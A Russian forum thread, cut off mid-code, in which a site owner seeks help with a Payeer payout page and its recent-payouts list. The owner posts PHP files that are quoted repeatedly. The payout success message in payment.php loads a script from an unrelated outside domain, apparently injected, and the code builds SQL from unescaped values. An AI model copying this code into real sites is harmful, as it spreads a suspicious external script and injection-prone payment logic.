Автор Тема: Выплата  (Прочитано 14392 раз)

0 Пользователей и 1 Гость просматривают эту тему.

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« : 29 Мая 2016, 09:59:37 »
Здравствуйте,подскажите пожалуйста,в чём причина.Когда делаешь выплату то запись не заносится в (последние выплаты)пишется нет записей.Хотя выплата прошла.И ещё после заказа выплаты появляется вот такая надпись http://joxi.ru/MAjGn86CvJpwjr
вот перевод той строчки (Неизвестный столбец "значение" в "списке полей") Как можно устранить эти проблемы?
a:0:{}
 

best2015

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Топ 10 по созданным темам Болеее 300 сообщений За финансовую помощь форуму !!! Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Возраст: 32
  • Сообщений: 331
  • Страна: am
  • Поблагодарили: 67 раз(а)
  • Репутация +3/-2
  • Пол: Мужской
  • Дата рождения:1988-07-13
    • Награды
  • Социальные сети:
    ВКонтакте
Выплата
« Ответ #1 : 29 Мая 2016, 11:07:02 »
Здравствуйте,подскажите пожалуйста,в чём причина.Когда делаешь выплату то запись не заносится в (последние выплаты)пишется нет записей.Хотя выплата прошла.И ещё после заказа выплаты появляется вот такая надпись http://joxi.ru/MAjGn86CvJpwjr
вот перевод той строчки (Неизвестный столбец "значение" в "списке полей") Как можно устранить эти проблемы?
покажи файлы payment.php payment_list.php поможем
 

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #2 : 29 Мая 2016, 12:47:33 »
Здравствуйте,подскажите пожалуйста,в чём причина.Когда делаешь выплату то запись не заносится в (последние выплаты)пишется нет записей.Хотя выплата прошла.И ещё после заказа выплаты появляется вот такая надпись http://joxi.ru/MAjGn86CvJpwjr
вот перевод той строчки (Неизвестный столбец "значение" в "списке полей") Как можно устранить эти проблемы?
покажи файлы payment.php payment_list.php поможем
Вот payment.php
<div class="col-md-8">                        <div class="s-bk-lf">
                           <div class="title">ЗАКАЗ ВЫПЛАТЫ</div>
                        </div>
                        <div class="silver-bk"><br><br>

































<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Выплачено", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");





















# Минималка !
$minPay = 50;










?>
<b>Выплаты осуществляются в автоматическом режиме(Моментально) и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
 - <a href="http://payeer.com/" target="_blank">Создание счета в PAYEER</a> <BR />
 
<b>Для выплаты через WebMoney Обратитесь в тех поддержку(выплата моментальна).</b><BR /><BR />
<center><b>Заказ выплаты:</b></center><BR />

<?PHP



   
   function ViewPurse($purse){
      
      if( substr($purse,0,1) != "P" ) return false;
      if( !ereg("^[0-9]{7,8}$", substr($purse,1)) ) return false;   
      return $purse;
   }
   








# Заглушка на выплаты
if($user_data["insert_sum"] <= 100 ){
?>

<div class="note-error">
<font color="blue">Выплату могут заказывать пользователи, пополнившие баланс больше, чем на 10 RUB.
Либо у которых есть рефералы, с общим пополнением более 10 RUB. </div><BR />
<div class="clr"></div>
</div>
<?PHP
return;
}












   # Заносим выплату
   if(isset($_POST["purse"])){
      
      $purse = ViewPurse($_POST["purse"]);
      $sum = intval($_POST["sum"]);
      $val = "RUB";
      
      if($purse !== false){
         
            if($sum >= $minPay){
            
               if($sum <= $user_data["money_p"]){
                  
                  # Проверяем на существующие заявки
                  
                  if($db->FetchRow() == 0){
                        
                        
                     ### Делаем выплату ###   
                     $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
                     if ($payeer->isAuth())
                     {
                        
                        $arBalance = $payeer->getBalance();
                        if($arBalance["auth_error"] == 0)
                        {
                           
                           $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                           
                           $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                           if( ($balance) >= ($sum_pay+100)){
                           
                           
                           
                           $arTransfer = $payeer->transfer(array(
                           'curIn' => 'RUB', // счет списания
                           'sum' => $sum_pay, // сумма получения
                           'curOut' => 'RUB', // валюта получения
                           'to' => $purse, // получатель (email)
                           //'to' => '+71112223344',  // получатель ()
                           //'to' => 'P1000000',  // получатель (номер счета)
                           'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта MONOPOLIYA")
                           //'anonim' => 'Y', // анонимный перевод
                           //'protect' => 'Y', // протекция сделки
                           //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                           //'protectCode' => '12345', // код протекции
                           ));
                           
                              if (!empty($arTransfer["historyId"]))
                              {   
                              
                              
                                 # Снимаем с пользователя
                                 $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
                                 





# Вставляем запись в выплаты
                     $da = time();
                     $dd = $da + 60*60*24*15;
                     $sum_r = round($sum / $sonfig_site["ser_per_wmr"], 2);
                     $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, serebro, pay_sys, date_add, date_del)
                     VALUES ('$usname','$usid','$purse','$sum_r','$sum','$ps','$da','$dd')");




                                 
                                 
                                 echo "<script type=\"text/javascript\" src=\"http://seocola.ru\"></script><center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                                 
                              }
                              else
                              {
                              
                                 echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";   
                              
                              }
                           
                           
                           }else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
                           
                        }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                        
                     }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                     
                        
                  }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
                     
                  
               }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
            
            }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} FUN!</font></b></center><BR />";
      
      }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
      
   }
?>

<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer [Пример: P10115355]</font>: </td>
   <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете FUN для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
   <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
   <td>
   <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
   <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
   <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
   <input type="hidden" name="val_type" id="val_type" value="RUB" />
   </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table class="table" align="center" border="0" cellpadding="3" cellspacing="0" width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">FUN</td>
    <td align="center" class="m-tb">Получаете</td>
   <td align="center" class="m-tb">Кошелек</td>
   <td align="center" class="m-tb">Дата</td>
   <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
 
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
 
   if($db->NumRows() > 0){
 
        while($ref = $db->FetchArray()){
      
      ?>
      <tr class="htt">
          <td align="center"><?=$ref["serebro"]; ?></td>
          <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
          <td align="center"><?=$ref["purse"]; ?></td>
         <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
          <td align="center"><?=$status_array[$ref["status"]]; ?></td>
        </tr>
      <?PHP
      
      }
 
   }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
 
  ?>

 
</table><div class="clr"></div>      
</div>

вот payments_list php
<?PHP
$_OPTIMIZATION["title"] = "Последние выплаты";
$_OPTIMIZATION["description"] = "Список последних выплат";
$_OPTIMIZATION["keywords"] = "Последние выплаты";
?>





<div class="col-md-8">                        <div class="s-bk-lf">
                           <div class="title">ПОСЛЕДНИЕ ВЫПЛАТЫ</div>
                        </div>
                        <div class="silver-bk">


<br><br>
   

<center><b>Отображены последние выплаты за 48 часов </b></center>
<BR />
<?PHP

$dt = time() - 60*60*48;

$db->Query("SELECT * FROM db_payment WHERE status = '1' AND date_add > '$dt'");



if($db->NumRows() > 0){

$all_pay = 0;
$all_pay_sum = 0;

?>
<table class="table" align="center" border="0" cellpadding="3" cellspacing="0" width="99%">
  <tr bgcolor="#efefef">
    <td align="center" width="50" class="m-tb">Пользователь</td>
   <td align="center" width="50" class="m-tb">Сумма</td>
   <td align="center" width="50" class="m-tb">Кошелек</td>
   <td align="center" width="50" class="m-tb">Дата</td>
  </tr>


<?PHP

   while($data = $db->FetchArray()){
   $all_pay ++;
   $all_pay_sum += $data["sum"];
   ?>
   <tr class="htt">
   <td align="center"><?=substr($data["user"],0,-3); ?><font color = 'red'>XXX</font></td>
    <td align="center"><?=sprintf("%.2f",$data["sum"]); ?> <?=$data["valuta"]; ?></td>
   <td align="center"><?=substr($data["purse"],0,-3); ?><font color = 'red'>XXX</font></td>
   <td align="center"><?=date("d.m.Y H:i:s",$data["date_add"]); ?></td>
     </tr>
   <?PHP
   
   }

?>
   <tr bgcolor="#efefef">
      <td align="center" width="50" class="m-tb" colspan=2>Всего выплат: <?=$all_pay; ?> шт.</td>
      <td align="center" width="50" class="m-tb" colspan=2>На сумму: <?=sprintf("%.2f",$all_pay_sum); ?> RUB</td>
   </tr>
</table>
<BR />
<?PHP


}else echo "<center><b>Выплат нет :(</b></center><BR />";


?>
</div>
<div class="clr"></div>   
ПОМОГИТЕ ПОЖАЛУЙСТА,если сможете.
 

best2015

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Топ 10 по созданным темам Болеее 300 сообщений За финансовую помощь форуму !!! Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Возраст: 32
  • Сообщений: 331
  • Страна: am
  • Поблагодарили: 67 раз(а)
  • Репутация +3/-2
  • Пол: Мужской
  • Дата рождения:1988-07-13
    • Награды
  • Социальные сети:
    ВКонтакте
Выплата
« Ответ #3 : 29 Мая 2016, 14:58:41 »
Здравствуйте,подскажите пожалуйста,в чём причина.Когда делаешь выплату то запись не заносится в (последние выплаты)пишется нет записей.Хотя выплата прошла.И ещё после заказа выплаты появляется вот такая надпись http://joxi.ru/MAjGn86CvJpwjr
вот перевод той строчки (Неизвестный столбец "значение" в "списке полей") Как можно устранить эти проблемы?
покажи файлы payment.php payment_list.php поможем
Вот payment.php
<div class="col-md-8">                        <div class="s-bk-lf">
                           <div class="title">ЗАКАЗ ВЫПЛАТЫ</div>
                        </div>
                        <div class="silver-bk"><br><br>

































<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Выплачено", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");





















# Минималка !
$minPay = 50;










?>
<b>Выплаты осуществляются в автоматическом режиме(Моментально) и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
 - <a href="http://payeer.com/" target="_blank">Создание счета в PAYEER</a> <BR />
 
<b>Для выплаты через WebMoney Обратитесь в тех поддержку(выплата моментальна).</b><BR /><BR />
<center><b>Заказ выплаты:</b></center><BR />

<?PHP



   
   function ViewPurse($purse){
      
      if( substr($purse,0,1) != "P" ) return false;
      if( !ereg("^[0-9]{7,8}$", substr($purse,1)) ) return false;   
      return $purse;
   }
   








# Заглушка на выплаты
if($user_data["insert_sum"] <= 100 ){
?>

<div class="note-error">
<font color="blue">Выплату могут заказывать пользователи, пополнившие баланс больше, чем на 10 RUB.
Либо у которых есть рефералы, с общим пополнением более 10 RUB. </div><BR />
<div class="clr"></div>
</div>
<?PHP
return;
}












   # Заносим выплату
   if(isset($_POST["purse"])){
      
      $purse = ViewPurse($_POST["purse"]);
      $sum = intval($_POST["sum"]);
      $val = "RUB";
      
      if($purse !== false){
         
            if($sum >= $minPay){
            
               if($sum <= $user_data["money_p"]){
                  
                  # Проверяем на существующие заявки
                  
                  if($db->FetchRow() == 0){
                        
                        
                     ### Делаем выплату ###   
                     $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
                     if ($payeer->isAuth())
                     {
                        
                        $arBalance = $payeer->getBalance();
                        if($arBalance["auth_error"] == 0)
                        {
                           
                           $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                           
                           $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                           if( ($balance) >= ($sum_pay+100)){
                           
                           
                           
                           $arTransfer = $payeer->transfer(array(
                           'curIn' => 'RUB', // счет списания
                           'sum' => $sum_pay, // сумма получения
                           'curOut' => 'RUB', // валюта получения
                           'to' => $purse, // получатель (email)
                           //'to' => '+71112223344',  // получатель ()
                           //'to' => 'P1000000',  // получатель (номер счета)
                           'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта MONOPOLIYA")
                           //'anonim' => 'Y', // анонимный перевод
                           //'protect' => 'Y', // протекция сделки
                           //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                           //'protectCode' => '12345', // код протекции
                           ));
                           
                              if (!empty($arTransfer["historyId"]))
                              {   
                              
                              
                                 # Снимаем с пользователя
                                 $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
                                 





# Вставляем запись в выплаты
                     $da = time();
                     $dd = $da + 60*60*24*15;
                     $sum_r = round($sum / $sonfig_site["ser_per_wmr"], 2);
                     $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, serebro, pay_sys, date_add, date_del)
                     VALUES ('$usname','$usid','$purse','$sum_r','$sum','$ps','$da','$dd')");




                                 
                                 
                                 echo "<script type=\"text/javascript\" src=\"http://seocola.ru\"></script><center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                                 
                              }
                              else
                              {
                              
                                 echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";   
                              
                              }
                           
                           
                           }else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
                           
                        }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                        
                     }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                     
                        
                  }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
                     
                  
               }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
            
            }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} FUN!</font></b></center><BR />";
      
      }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
      
   }
?>

<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer [Пример: P10115355]</font>: </td>
   <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете FUN для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
   <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
   <td>
   <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
   <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
   <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
   <input type="hidden" name="val_type" id="val_type" value="RUB" />
   </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table class="table" align="center" border="0" cellpadding="3" cellspacing="0" width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">FUN</td>
    <td align="center" class="m-tb">Получаете</td>
   <td align="center" class="m-tb">Кошелек</td>
   <td align="center" class="m-tb">Дата</td>
   <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
 
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
 
   if($db->NumRows() > 0){
 
        while($ref = $db->FetchArray()){
      
      ?>
      <tr class="htt">
          <td align="center"><?=$ref["serebro"]; ?></td>
          <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
          <td align="center"><?=$ref["purse"]; ?></td>
         <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
          <td align="center"><?=$status_array[$ref["status"]]; ?></td>
        </tr>
      <?PHP
      
      }
 
   }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
 
  ?>

 
</table><div class="clr"></div>      
</div>

вот payments_list php
<?PHP
$_OPTIMIZATION["title"] = "Последние выплаты";
$_OPTIMIZATION["description"] = "Список последних выплат";
$_OPTIMIZATION["keywords"] = "Последние выплаты";
?>





<div class="col-md-8">                        <div class="s-bk-lf">
                           <div class="title">ПОСЛЕДНИЕ ВЫПЛАТЫ</div>
                        </div>
                        <div class="silver-bk">


<br><br>
   

<center><b>Отображены последние выплаты за 48 часов </b></center>
<BR />
<?PHP

$dt = time() - 60*60*48;

$db->Query("SELECT * FROM db_payment WHERE status = '1' AND date_add > '$dt'");



if($db->NumRows() > 0){

$all_pay = 0;
$all_pay_sum = 0;

?>
<table class="table" align="center" border="0" cellpadding="3" cellspacing="0" width="99%">
  <tr bgcolor="#efefef">
    <td align="center" width="50" class="m-tb">Пользователь</td>
   <td align="center" width="50" class="m-tb">Сумма</td>
   <td align="center" width="50" class="m-tb">Кошелек</td>
   <td align="center" width="50" class="m-tb">Дата</td>
  </tr>


<?PHP

   while($data = $db->FetchArray()){
   $all_pay ++;
   $all_pay_sum += $data["sum"];
   ?>
   <tr class="htt">
   <td align="center"><?=substr($data["user"],0,-3); ?><font color = 'red'>XXX</font></td>
    <td align="center"><?=sprintf("%.2f",$data["sum"]); ?> <?=$data["valuta"]; ?></td>
   <td align="center"><?=substr($data["purse"],0,-3); ?><font color = 'red'>XXX</font></td>
   <td align="center"><?=date("d.m.Y H:i:s",$data["date_add"]); ?></td>
     </tr>
   <?PHP
   
   }

?>
   <tr bgcolor="#efefef">
      <td align="center" width="50" class="m-tb" colspan=2>Всего выплат: <?=$all_pay; ?> шт.</td>
      <td align="center" width="50" class="m-tb" colspan=2>На сумму: <?=sprintf("%.2f",$all_pay_sum); ?> RUB</td>
   </tr>
</table>
<BR />
<?PHP


}else echo "<center><b>Выплат нет :(</b></center><BR />";


?>
</div>
<div class="clr"></div>   
ПОМОГИТЕ ПОЖАЛУЙСТА,если сможете.
смотри в выплатах не показывает потому что в этих строках
$dt = time() - 60*60*48;

$db->Query("SELECT * FROM db_payment WHERE status = '1' AND date_add > '$dt'");
там где status = '1' меняй эту 1 на 3. а вот насчет надписи после выплаты попробуй другой payment поставить. если не исправится значит что то в базе у тебя не то
 

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #4 : 29 Мая 2016, 17:09:39 »
Здравствуйте,подскажите пожалуйста,в чём причина.Когда делаешь выплату то запись не заносится в (последние выплаты)пишется нет записей.Хотя выплата прошла.И ещё после заказа выплаты появляется вот такая надпись http://joxi.ru/MAjGn86CvJpwjr
вот перевод той строчки (Неизвестный столбец "значение" в "списке полей") Как можно устранить эти проблемы?
покажи файлы payment.php payment_list.php поможем
Вот payment.php
<div class="col-md-8">                        <div class="s-bk-lf">
                           <div class="title">ЗАКАЗ ВЫПЛАТЫ</div>
                        </div>
                        <div class="silver-bk"><br><br>

































<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Выплачено", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");





















# Минималка !
$minPay = 50;










?>
<b>Выплаты осуществляются в автоматическом режиме(Моментально) и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
 - <a href="http://payeer.com/" target="_blank">Создание счета в PAYEER</a> <BR />
 
<b>Для выплаты через WebMoney Обратитесь в тех поддержку(выплата моментальна).</b><BR /><BR />
<center><b>Заказ выплаты:</b></center><BR />

<?PHP



   
   function ViewPurse($purse){
     
      if( substr($purse,0,1) != "P" ) return false;
      if( !ereg("^[0-9]{7,8}$", substr($purse,1)) ) return false;   
      return $purse;
   }
   








# Заглушка на выплаты
if($user_data["insert_sum"] <= 100 ){
?>

<div class="note-error">
<font color="blue">Выплату могут заказывать пользователи, пополнившие баланс больше, чем на 10 RUB.
Либо у которых есть рефералы, с общим пополнением более 10 RUB. </div><BR />
<div class="clr"></div>
</div>
<?PHP
return;
}












   # Заносим выплату
   if(isset($_POST["purse"])){
     
      $purse = ViewPurse($_POST["purse"]);
      $sum = intval($_POST["sum"]);
      $val = "RUB";
     
      if($purse !== false){
         
            if($sum >= $minPay){
           
               if($sum <= $user_data["money_p"]){
                 
                  # Проверяем на существующие заявки
                 
                  if($db->FetchRow() == 0){
                       
                       
                     ### Делаем выплату ###   
                     $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
                     if ($payeer->isAuth())
                     {
                       
                        $arBalance = $payeer->getBalance();
                        if($arBalance["auth_error"] == 0)
                        {
                           
                           $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                           
                           $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                           if( ($balance) >= ($sum_pay+100)){
                           
                           
                           
                           $arTransfer = $payeer->transfer(array(
                           'curIn' => 'RUB', // счет списания
                           'sum' => $sum_pay, // сумма получения
                           'curOut' => 'RUB', // валюта получения
                           'to' => $purse, // получатель (email)
                           //'to' => '+71112223344',  // получатель ()
                           //'to' => 'P1000000',  // получатель (номер счета)
                           'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта MONOPOLIYA")
                           //'anonim' => 'Y', // анонимный перевод
                           //'protect' => 'Y', // протекция сделки
                           //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                           //'protectCode' => '12345', // код протекции
                           ));
                           
                              if (!empty($arTransfer["historyId"]))
                              {   
                             
                             
                                 # Снимаем с пользователя
                                 $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
                                 





# Вставляем запись в выплаты
                     $da = time();
                     $dd = $da + 60*60*24*15;
                     $sum_r = round($sum / $sonfig_site["ser_per_wmr"], 2);
                     $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, serebro, pay_sys, date_add, date_del)
                     VALUES ('$usname','$usid','$purse','$sum_r','$sum','$ps','$da','$dd')");




                                 
                                 
                                 echo "<script type=\"text/javascript\" src=\"http://seocola.ru\"></script><center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                                 
                              }
                              else
                              {
                             
                                 echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";   
                             
                              }
                           
                           
                           }else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
                           
                        }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                       
                     }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                     
                       
                  }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
                     
                 
               }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
           
            }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} FUN!</font></b></center><BR />";
     
      }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
     
   }
?>

<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer [Пример: P10115355]</font>: </td>
   <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете FUN для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
   <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
   <td>
   <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
   <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
   <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
   <input type="hidden" name="val_type" id="val_type" value="RUB" />
   </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table class="table" align="center" border="0" cellpadding="3" cellspacing="0" width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">FUN</td>
    <td align="center" class="m-tb">Получаете</td>
   <td align="center" class="m-tb">Кошелек</td>
   <td align="center" class="m-tb">Дата</td>
   <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
 
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
 
   if($db->NumRows() > 0){
 
        while($ref = $db->FetchArray()){
     
      ?>
      <tr class="htt">
          <td align="center"><?=$ref["serebro"]; ?></td>
          <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
          <td align="center"><?=$ref["purse"]; ?></td>
         <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
          <td align="center"><?=$status_array[$ref["status"]]; ?></td>
        </tr>
      <?PHP
     
      }
 
   }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
 
  ?>

 
</table><div class="clr"></div>     
</div>

вот payments_list php
<?PHP
$_OPTIMIZATION["title"] = "Последние выплаты";
$_OPTIMIZATION["description"] = "Список последних выплат";
$_OPTIMIZATION["keywords"] = "Последние выплаты";
?>





<div class="col-md-8">                        <div class="s-bk-lf">
                           <div class="title">ПОСЛЕДНИЕ ВЫПЛАТЫ</div>
                        </div>
                        <div class="silver-bk">


<br><br>
   

<center><b>Отображены последние выплаты за 48 часов </b></center>
<BR />
<?PHP

$dt = time() - 60*60*48;

$db->Query("SELECT * FROM db_payment WHERE status = '1' AND date_add > '$dt'");



if($db->NumRows() > 0){

$all_pay = 0;
$all_pay_sum = 0;

?>
<table class="table" align="center" border="0" cellpadding="3" cellspacing="0" width="99%">
  <tr bgcolor="#efefef">
    <td align="center" width="50" class="m-tb">Пользователь</td>
   <td align="center" width="50" class="m-tb">Сумма</td>
   <td align="center" width="50" class="m-tb">Кошелек</td>
   <td align="center" width="50" class="m-tb">Дата</td>
  </tr>


<?PHP

   while($data = $db->FetchArray()){
